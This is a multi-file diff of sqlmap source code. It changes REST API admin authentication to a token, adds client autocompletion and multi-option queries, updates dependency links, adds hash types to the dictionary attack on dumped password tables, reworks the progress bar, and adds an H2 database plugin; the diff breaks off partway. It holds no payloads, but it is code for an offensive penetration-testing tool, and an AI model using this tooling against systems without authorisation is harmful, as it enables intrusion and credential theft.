+from lib.core.enums import AUTOCOMPLETE_TYPE
 from lib.core.enums import CONTENT_STATUS
 from lib.core.enums import MKSTEMP_PREFIX
-from lib.core.enums import PART_RUN_CONTENT_TYPES
 from lib.core.exception import SqlmapConnectionException
 from lib.core.log import LOGGER_HANDLER
 from lib.core.optiondict import optDict
@@ -43,6 +44,7 @@ from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
 from lib.core.settings import IS_WIN
 from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
 from lib.core.settings import RESTAPI_DEFAULT_PORT
+from lib.core.shell import autoCompletion
 from lib.core.subprocessng import Popen
 from lib.parse.cmdline import cmdLineParser
 from thirdparty.bottle.bottle import error as return_error
@@ -56,7 +58,7 @@ from thirdparty.bottle.bottle import server_names

 # Global data storage
 class DataStore(object):
-    admin_id = ""
+    admin_token = ""
    current_db = None
    tasks = dict()
    username = None
@@ -104,9 +106,7 @@ class Database(object):

    def init(self):
        self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)")
-
        self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)")
-
        self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)")

 class Task(object):
@@ -161,6 +161,8 @@ class Task(object):
            self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
        elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")):
            self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN)
+        elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")):
+            self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN)
        else:
            self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)

@@ -199,7 +201,6 @@ class Task(object):
    def engine_has_terminated(self):
        return isinstance(self.engine_get_returncode(), int)

-
 # Wrapper functions for sqlmap engine
 class StdDbOut(object):
    def __init__(self, taskid, messagetype="stdout"):
@@ -274,8 +275,8 @@ def setRestAPILog():
        logger.addHandler(LOGGER_RECORDER)

 # Generic functions
-def is_admin(taskid):
-    return DataStore.admin_id == taskid
+def is_admin(token):
+    return DataStore.admin_token == token

@hook('before_request')
 def check_authentication():
@@ -357,7 +358,7 @@ def path_401():
@get("/task/new")
 def task_new():
    """
-    Create new task ID
+    Create a new task
    """
    taskid = hexencode(os.urandom(8))
    remote_addr = request.remote_addr
@@ -370,7 +371,7 @@ def task_new():
@get("/task/<taskid>/delete")
 def task_delete(taskid):
    """
-    Delete own task ID
+    Delete an existing task
    """
    if taskid in DataStore.tasks:
        DataStore.tasks.pop(taskid)
@@ -378,39 +379,42 @@ def task_delete(taskid):
        logger.debug("[%s] Deleted task" % taskid)
        return jsonize({"success": True})
    else:
-        logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid)
-        return jsonize({"success": False, "message": "Invalid task ID"})
+        response.status = 404
+        logger.warning("[%s] Non-existing task ID provided to task_delete()" % taskid)
+        return jsonize({"success": False, "message": "Non-existing task ID"})

 ###################
 # Admin functions #
 ###################

-@get("/admin/<taskid>/list")
-def task_list(taskid=None):
+@get("/admin/list")
+@get("/admin/<token>/list")
+def task_list(token=None):
    """
-    List task pull
+    Pull task list
    """
    tasks = {}

    for key in DataStore.tasks:
-        if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
+        if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
            tasks[key] = dejsonize(scan_status(key))["status"]

-    logger.debug("[%s] Listed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
+    logger.debug("[%s] Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
    return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)})

-@get("/admin/<taskid>/flush")
-def task_flush(taskid):
+@get("/admin/flush")
+@get("/admin/<token>/flush")
+def task_flush(token=None):
    """
    Flush task spool (delete all tasks)
    """

    for key in list(DataStore.tasks):
-        if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr:
+        if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
            DataStore.tasks[key].engine_kill()
            del DataStore.tasks[key]

-    logger.debug("[%s] Flushed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr))
+    logger.debug("[%s] Flushed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
    return jsonize({"success": True})

 ##################################
@@ -433,25 +437,30 @@ def option_list(taskid):
@post("/option/<taskid>/get")
 def option_get(taskid):
    """
-    Get the value of an option (command line switch) for a certain task ID
+    Get value of option(s) for a certain task ID
    """
    if taskid not in DataStore.tasks:
        logger.warning("[%s] Invalid task ID provided to option_get()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

-    option = request.json.get("option", "")
+    options = request.json or []
+    results = {}

-    if option in DataStore.tasks[taskid].options:
-        logger.debug("[%s] Retrieved value for option %s" % (taskid, option))
-        return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)})
-    else:
-        logger.debug("[%s] Requested value for unknown option %s" % (taskid, option))
-        return jsonize({"success": False, "message": "Unknown option", option: "not set"})
+    for option in options:
+        if option in DataStore.tasks[taskid].options:
+            results[option] = DataStore.tasks[taskid].options[option]
+        else:
+            logger.debug("[%s] Requested value for unknown option '%s'" % (taskid, option))
+            return jsonize({"success": False, "message": "Unknown option '%s'" % option})
+
+    logger.debug("[%s] Retrieved values for option(s) '%s'" % (taskid, ",".join(options)))
+
+    return jsonize({"success": True, "options": results})

@post("/option/<taskid>/set")
 def option_set(taskid):
    """
-    Set an option (command line switch) for a certain task ID
+    Set value of option(s) for a certain task ID
    """

    if taskid not in DataStore.tasks:
@@ -499,9 +508,7 @@ def scan_stop(taskid):
    Stop a scan
    """

-    if (taskid not in DataStore.tasks or
-            DataStore.tasks[taskid].engine_process() is None or
-            DataStore.tasks[taskid].engine_has_terminated()):
+    if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
        logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

@@ -516,9 +523,7 @@ def scan_kill(taskid):
    Kill a scan
    """

-    if (taskid not in DataStore.tasks or
-            DataStore.tasks[taskid].engine_process() is None or
-            DataStore.tasks[taskid].engine_has_terminated()):
+    if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
        logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid)
        return jsonize({"success": False, "message": "Invalid task ID"})

@@ -573,7 +578,6 @@ def scan_data(taskid):
    logger.debug("[%s] Retrieved scan data and error messages" % taskid)
    return jsonize({"success": True, "data": json_data_message, "error": json_errors_message})

-
 # Functions to handle scans' logs
@get("/scan/<taskid>/log/<start>/<end>")
 def scan_log_limited(taskid, start, end):
@@ -601,7 +605,6 @@ def scan_log_limited(taskid, start, end):
    logger.debug("[%s] Retrieved scan log messages subset" % taskid)
    return jsonize({"success": True, "log": json_log_messages})

-
@get("/scan/<taskid>/log")
 def scan_log(taskid):
    """
@@ -621,7 +624,6 @@ def scan_log(taskid):
    logger.debug("[%s] Retrieved scan log messages" % taskid)
    return jsonize({"success": True, "log": json_log_messages})

-
 # Function to handle files inside the output directory
@get("/download/<taskid>/<target>/<filename:path>")
 def download(taskid, target, filename):
@@ -648,13 +650,12 @@ def download(taskid, target, filename):
        logger.warning("[%s] File does not exist %s" % (taskid, target))
        return jsonize({"success": False, "message": "File does not exist"})

-
 def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None):
    """
    REST-JSON API server
    """

-    DataStore.admin_id = hexencode(os.urandom(16))
+    DataStore.admin_token = hexencode(os.urandom(16))
    DataStore.username = username
    DataStore.password = password

@@ -667,7 +668,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
            port = s.getsockname()[1]

    logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port))
-    logger.info("Admin ID: %s" % DataStore.admin_id)
+    logger.info("Admin (secret) token: %s" % DataStore.admin_token)
    logger.debug("IPC database: '%s'" % Database.filepath)

    # Initialize IPC database
@@ -696,14 +697,14 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
    except ImportError:
        if adapter.lower() not in server_names:
            errMsg = "Adapter '%s' is unknown. " % adapter
-            errMsg += "(Note: available adapters '%s')" % ', '.join(sorted(server_names.keys()))
+            errMsg += "List of supported adapters: %s" % ', '.join(sorted(server_names.keys()))
        else:
            errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
            errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter)
        logger.critical(errMsg)

 def _client(url, options=None):
-    logger.debug("Calling %s" % url)
+    logger.debug("Calling '%s'" % url)
    try:
        data = None
        if options is not None:
@@ -750,6 +751,9 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
            logger.critical(errMsg)
            return

+    commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "exit", "bye", "quit")
+    autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands)
+
    taskid = None
    logger.info("Type 'help' or '?' for list of available commands")

@@ -776,11 +780,11 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
                logger.error("No task ID in use")
                continue
            try:
-                command, option = command.split(" ")
+                command, option = command.split(" ", 1)
            except ValueError:
                raw = _client("%s/option/%s/list" % (addr, taskid))
            else:
-                options = {"option": option}
+                options = re.split(r"\s*,\s*", option.strip())
                raw = _client("%s/option/%s/get" % (addr, taskid), options)
            res = dejsonize(raw)
            if not res["success"]:
@@ -837,7 +841,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
            logger.info("Switching to task ID '%s' " % taskid)

        elif command in ("list", "flush"):
-            raw = _client("%s/admin/%s/%s" % (addr, taskid or 0, command))
+            raw = _client("%s/admin/%s" % (addr, command))
            res = dejsonize(raw)
            if not res["success"]:
                logger.error("Failed to execute command %s" % command)
@@ -65,7 +65,7 @@ def checkDependencies():
    except ImportError:
        warnMsg = "sqlmap requires 'python-impacket' third-party library for "
        warnMsg += "out-of-band takeover feature. Download from "
-        warnMsg += "'http://code.google.com/p/impacket/'"
+        warnMsg += "'https://github.com/coresecurity/impacket'"
        logger.warn(warnMsg)
        missing_libraries.add('python-impacket')

@@ -76,7 +76,7 @@ def checkDependencies():
    except ImportError:
        warnMsg = "sqlmap requires 'python-ntlm' third-party library "
        warnMsg += "if you plan to attack a web application behind NTLM "
-        warnMsg += "authentication. Download from 'http://code.google.com/p/python-ntlm/'"
+        warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'"
        logger.warn(warnMsg)
        missing_libraries.add('python-ntlm')

@@ -101,7 +101,7 @@ def checkDependencies():
            warnMsg += "be able to take advantage of the sqlmap TAB "
            warnMsg += "completion and history support features in the SQL "
            warnMsg += "shell and OS shell. Download from "
-            warnMsg += "'http://ipython.scipy.org/moin/PyReadline/Intro'"
+            warnMsg += "'https://pypi.org/project/pyreadline/'"
            logger.warn(warnMsg)
            missing_libraries.add('python-pyreadline')

@@ -22,7 +22,6 @@ class _Getch(object):
    def __call__(self):
        return self.impl()

-
 class _GetchUnix(object):
    def __init__(self):
        __import__("tty")
@@ -41,7 +40,6 @@ class _GetchUnix(object):
            termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
        return ch

-
 class _GetchWindows(object):
    def __init__(self):
        __import__("msvcrt")
@@ -50,7 +48,6 @@ class _GetchWindows(object):
        import msvcrt
        return msvcrt.getch()

-
 class _GetchMacCarbon(object):
    """
    A function which returns the current ASCII key that is down;
@@ -79,5 +76,4 @@ class _GetchMacCarbon(object):
            (what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1]
            return chr(msg & 0x000000FF)

-
 getch = _Getch()
@@ -7,7 +7,7 @@ See the file 'LICENSE' for copying permission

 try:
    from crypt import crypt
-except ImportError:
+except:  # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171
    from thirdparty.fcrypt.fcrypt import crypt

 _multiprocessing = None
@@ -75,6 +75,7 @@ from lib.core.settings import COMMON_PASSWORD_SUFFIXES
 from lib.core.settings import COMMON_USER_COLUMNS
 from lib.core.settings import DEV_EMAIL_ADDRESS
 from lib.core.settings import DUMMY_USER_PREFIX
+from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER
 from lib.core.settings import HASH_MOD_ITEM_DISPLAY
 from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD
 from lib.core.settings import IS_WIN
@@ -684,7 +685,7 @@ def attackDumpedTable():
                        value = table[column]['values'][i]

                        if value and value.lower() in lut:
-                            table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()]))
+                            table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER))
                            table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))

 def hashRecognition(value):
@@ -903,7 +904,7 @@ def dictionaryAttack(attack_dict):

                        if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
                            item = [(user, hash_.decode("base64").encode("hex")), {}]
-                        elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.APACHE_SHA1):
+                        elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
                            item = [(user, hash_), {}]
                        elif hash_regex in (HASH.SSHA,):
                            item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}]
@@ -91,7 +91,7 @@ class HashDB(object):
                            raise
                    except sqlite3.DatabaseError, ex:
                        errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
-                        errMsg += "If the problem persists please rerun with `--flush-session`"
+                        errMsg += "If the problem persists please rerun with '--flush-session'"
                        raise SqlmapConnectionException(errMsg)
                    else:
                        break
@@ -104,7 +104,7 @@ class HashDB(object):
            except:
                retVal = None
                warnMsg = "error occurred while unserializing value for session key '%s'. " % key
-                warnMsg += "If the problem persists please rerun with `--flush-session`"
+                warnMsg += "If the problem persists please rerun with '--flush-session'"
                logger.warn(warnMsg)

        return retVal
@@ -11,6 +11,7 @@ from extra.safe2bin.safe2bin import safechardecode
 from lib.core.agent import agent
 from lib.core.bigarray import BigArray
 from lib.core.common import Backend
+from lib.core.common import getSafeExString
 from lib.core.common import getUnicode
 from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
@@ -31,7 +32,7 @@ from lib.core.settings import NULL
 from lib.core.unescaper import unescaper
 from lib.request import inject

-def pivotDumpTable(table, colList, count=None, blind=True):
+def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
    lengths = {}
    entries = {}

@@ -88,7 +89,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
    if not validPivotValue:
        for column in colList:
            infoMsg = "fetching number of distinct "
-            infoMsg += "values for column '%s'" % column
+            infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "")
            logger.info(infoMsg)

            query = dumpNode.count2 % (column, table)
@@ -99,7 +100,7 @@ def pivotDumpTable(table, colList, count=None, blind=True):
                validColumnList = True

                if value == count:
-                    infoMsg = "using column '%s' as a pivot " % column
+                    infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "")
                    infoMsg += "for retrieving row data"
                    logger.info(infoMsg)

@@ -174,10 +175,10 @@ def pivotDumpTable(table, colList, count=None, blind=True):
        warnMsg += "will display partial output"
        logger.warn(warnMsg)

-    except SqlmapConnectionException, e:
-        errMsg = "connection exception detected. sqlmap "
+    except SqlmapConnectionException, ex:
+        errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex)
        errMsg += "will display partial output"
-        errMsg += "'%s'" % e
+
        logger.critical(errMsg)

    return entries, lengths
@@ -5,6 +5,8 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

+import time
+
 from lib.core.common import getUnicode
 from lib.core.common import dataToStdout
 from lib.core.data import conf
@@ -17,13 +19,12 @@ class ProgressBar(object):

    def __init__(self, minValue=0, maxValue=10, totalWidth=None):
        self._progBar = "[]"
-        self._oldProgBar = ""
        self._min = int(minValue)
        self._max = int(maxValue)
        self._span = max(self._max - self._min, 0.001)
        self._width = totalWidth if totalWidth else conf.progressWidth
        self._amount = 0
-        self._times = []
+        self._start = None
        self.update()

    def _convertSeconds(self, value):
@@ -52,7 +53,7 @@ class ProgressBar(object):
        percentDone = min(100, int(percentDone))

        # Figure out how many hash bars the percentage should be
-        allFull = self._width - len("100%% [] %s/%s  ETA 00:00" % (self._max, self._max))
+        allFull = self._width - len("100%% [] %s/%s  (ETA 00:00)" % (self._max, self._max))
        numHashes = (percentDone / 100.0) * allFull
        numHashes = int(round(numHashes))

@@ -68,19 +69,18 @@ class ProgressBar(object):
        percentString = getUnicode(percentDone) + "%"
        self._progBar = "%s %s" % (percentString, self._progBar)

-    def progress(self, deltaTime, newAmount):
+    def progress(self, newAmount):
        """
        This method saves item delta time and shows updated progress bar with calculated eta
        """

-        if len(self._times) <= ((self._max * 3) / 100) or newAmount > self._max:
+        if self._start is None or newAmount > self._max:
+            self._start = time.time()
            eta = None
        else:
-            midTime = sum(self._times) / len(self._times)
-            midTimeWithLatest = (midTime + deltaTime) / 2
-            eta = midTimeWithLatest * (self._max - newAmount)
+            delta = time.time() - self._start
+            eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta

-        self._times.append(deltaTime)
        self.update(newAmount)
        self.draw(eta)

@@ -89,15 +89,13 @@ class ProgressBar(object):
        This method draws the progress bar if it has changed
        """

-        if self._progBar != self._oldProgBar:
-            self._oldProgBar = self._progBar
-            dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, ("  ETA %s" % self._convertSeconds(int(eta))) if eta is not None else ""))
-            if self._amount >= self._max:
-                if not conf.liveTest:
-                    dataToStdout("\r%s\r" % (" " * self._width))
-                    kb.prependFlag = False
-                else:
-                    dataToStdout("\n")
+        dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, ("  (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??"))))
+        if self._amount >= self._max:
+            if not conf.liveTest:
+                dataToStdout("\r%s\r" % (" " * self._width))
+                kb.prependFlag = False
+            else:
+                dataToStdout("\n")

    def __str__(self):
        """
@@ -20,6 +20,7 @@ from lib.core.common import urlencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CUSTOM_LOGGING
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import REDIRECTION
@@ -35,7 +36,6 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.request.basic import decodePage
 from thirdparty.socks import socks

-
 def _search(dork):
    """
    This method performs the effective search on Google providing
@@ -165,6 +165,7 @@ def _search(dork):

    return retVal

+@stackedmethod
 def search(dork):
    pushValue(kb.redirectChoice)
    kb.redirectChoice = REDIRECTION.YES
@@ -57,7 +57,7 @@ class SQLAlchemy(GenericConnector):
                if self.dialect == "sqlite":
                    engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False})
                elif self.dialect == "oracle":
-                    engine = _sqlalchemy.create_engine(conf.direct, connect_args={"allow_twophase": False})
+                    engine = _sqlalchemy.create_engine(conf.direct)
                else:
                    engine = _sqlalchemy.create_engine(conf.direct, connect_args={})

@@ -6,18 +6,23 @@ See the file 'LICENSE' for copying permission
 """

 import sys
+import time

 PYVERSION = sys.version.split()[0]

 if PYVERSION >= "3" or PYVERSION < "2.6":
-    exit("[CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION)
+    exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION))

-extensions = ("bz2", "gzip", "ssl", "sqlite3", "zlib")
-try:
-    for _ in extensions:
+errors = []
+extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib")
+for _ in extensions:
+    try:
        __import__(_)
-except ImportError:
-    errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
+    except ImportError:
+        errors.append(_)
+
+if errors:
+    errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in errors))
    errMsg += "most likely because current version of Python has been "
-    errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
+    errMsg += "built without appropriate dev packages"
    exit(errMsg)
@@ -49,12 +49,10 @@ class xrange(object):
        return hash(self._slice)

    def __cmp__(self, other):
-        return (cmp(type(self), type(other)) or
-                cmp(self._slice, other._slice))
+        return (cmp(type(self), type(other)) or cmp(self._slice, other._slice))

    def __repr__(self):
-        return '%s(%r, %r, %r)' % (type(self).__name__,
-                                   self.start, self.stop, self.step)
+        return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step)

    def __len__(self):
        return self._len()
@@ -12,6 +12,7 @@ except:

 import logging

+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -43,7 +44,7 @@ class Connector(GenericConnector):
        try:
            self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db)
        except (pyodbc.Error, pyodbc.OperationalError), msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))

        self.initCursor()
        self.printConnected()
@@ -52,16 +53,16 @@ class Connector(GenericConnector):
        try:
            return self.cursor.fetchall()
        except pyodbc.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
            return None

    def execute(self, query):
        try:
            self.cursor.execute(query)
        except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
        except pyodbc.Error, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))

        self.connector.commit()

@@ -129,7 +129,7 @@ class Fingerprint(GenericFingerprint):
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"]
+            banVer = kb.bannerFp.get("dbmsVersion")

            if re.search(r"-log$", kb.data.banner):
                banVer += ", logging enabled"
@@ -12,6 +12,7 @@ except:

 import logging

+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -19,9 +20,9 @@ from plugins.generic.connector import Connector as GenericConnector

 class Connector(GenericConnector):
    """
-    Homepage: http://code.google.com/p/ibm-db/
-    User guide: http://code.google.com/p/ibm-db/wiki/README
-    API: http://www.python.org/dev/peps/pep-0249/
+    Homepage: https://github.com/ibmdb/python-ibmdb
+    User guide: https://github.com/ibmdb/python-ibmdb/wiki/README
+    API: https://www.python.org/dev/peps/pep-0249/
    License: Apache License 2.0
    """

@@ -44,16 +45,16 @@ class Connector(GenericConnector):
        try:
            return self.cursor.fetchall()
        except ibm_db_dbi.ProgrammingError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
            return None

    def execute(self, query):
        try:
            self.cursor.execute(query)
        except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
        except ibm_db_dbi.InternalError, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))

        self.connector.commit()

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

-
 from lib.core.data import logger
 from plugins.generic.enumeration import Enumeration as GenericEnumeration

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

-
 from lib.core.common import Backend
 from lib.core.common import Format
 from lib.core.data import conf
@@ -69,7 +68,7 @@ class Fingerprint(GenericFingerprint):
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = kb.bannerFp.get("dbmsVersion")
            banVer = Format.getDbms([banVer])
            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)

@@ -12,6 +12,7 @@ except:

 import logging

+from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
@@ -42,7 +43,7 @@ class Connector(GenericConnector):
            # Reference: http://www.daniweb.com/forums/thread248499.html
            self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")
        except kinterbasdb.OperationalError, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))

        self.initCursor()
        self.printConnected()
@@ -51,16 +52,16 @@ class Connector(GenericConnector):
        try:
            return self.cursor.fetchall()
        except kinterbasdb.OperationalError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
            return None

    def execute(self, query):
        try:
            self.cursor.execute(query)
        except kinterbasdb.OperationalError, msg:
-            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg))
        except kinterbasdb.Error, msg:
-            raise SqlmapConnectionException(msg[1])
+            raise SqlmapConnectionException(getSafeExString(msg))

        self.connector.commit()

@@ -50,7 +50,7 @@ class Fingerprint(GenericFingerprint):
        value += "active fingerprint: %s" % actVer

        if kb.bannerFp:
-            banVer = kb.bannerFp["dbmsVersion"]
+            banVer = kb.bannerFp.get("dbmsVersion")

            if re.search(r"-log$", kb.data.banner):
                banVer += ", logging enabled"
@@ -0,0 +1,33 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.enums import DBMS
+from lib.core.settings import H2_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+from plugins.dbms.h2.enumeration import Enumeration
+from plugins.dbms.h2.filesystem import Filesystem
+from plugins.dbms.h2.fingerprint import Fingerprint
+from plugins.dbms.h2.syntax import Syntax
+from plugins.dbms.h2.takeover import Takeover
+from plugins.generic.misc import Miscellaneous
+
+class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
+    """
+    This class defines H2 methods
+    """
+
+    def __init__(self):
+        self.excludeDbsList = H2_SYSTEM_DBS
+
+        Syntax.__init__(self)
+        Fingerprint.__init__(self)
+        Enumeration.__init__(self)
+        Filesystem.__init__(self)
+        Miscellaneous.__init__(self)
+        Takeover.__init__(self)
+
+    unescaper[DBMS.H2] = Syntax.escape
@@ -0,0 +1,18 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from lib.core.exception import SqlmapUnsupportedFeatureException
+from plugins.generic.connector import Connector as GenericConnector
+
+class Connector(GenericConnector):
+    def __init__(self):
+        GenericConnector.__init__(self)
+
+    def connect(self):
+        errMsg = "on H2 it is not (currently) possible to establish a "
+        errMsg += "direct connection"
+        raise SqlmapUnsupportedFeatureException(errMsg)
@@ -0,0 +1,52 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.enumeration import Enumeration as GenericEnumeration
+from lib.core.data import conf
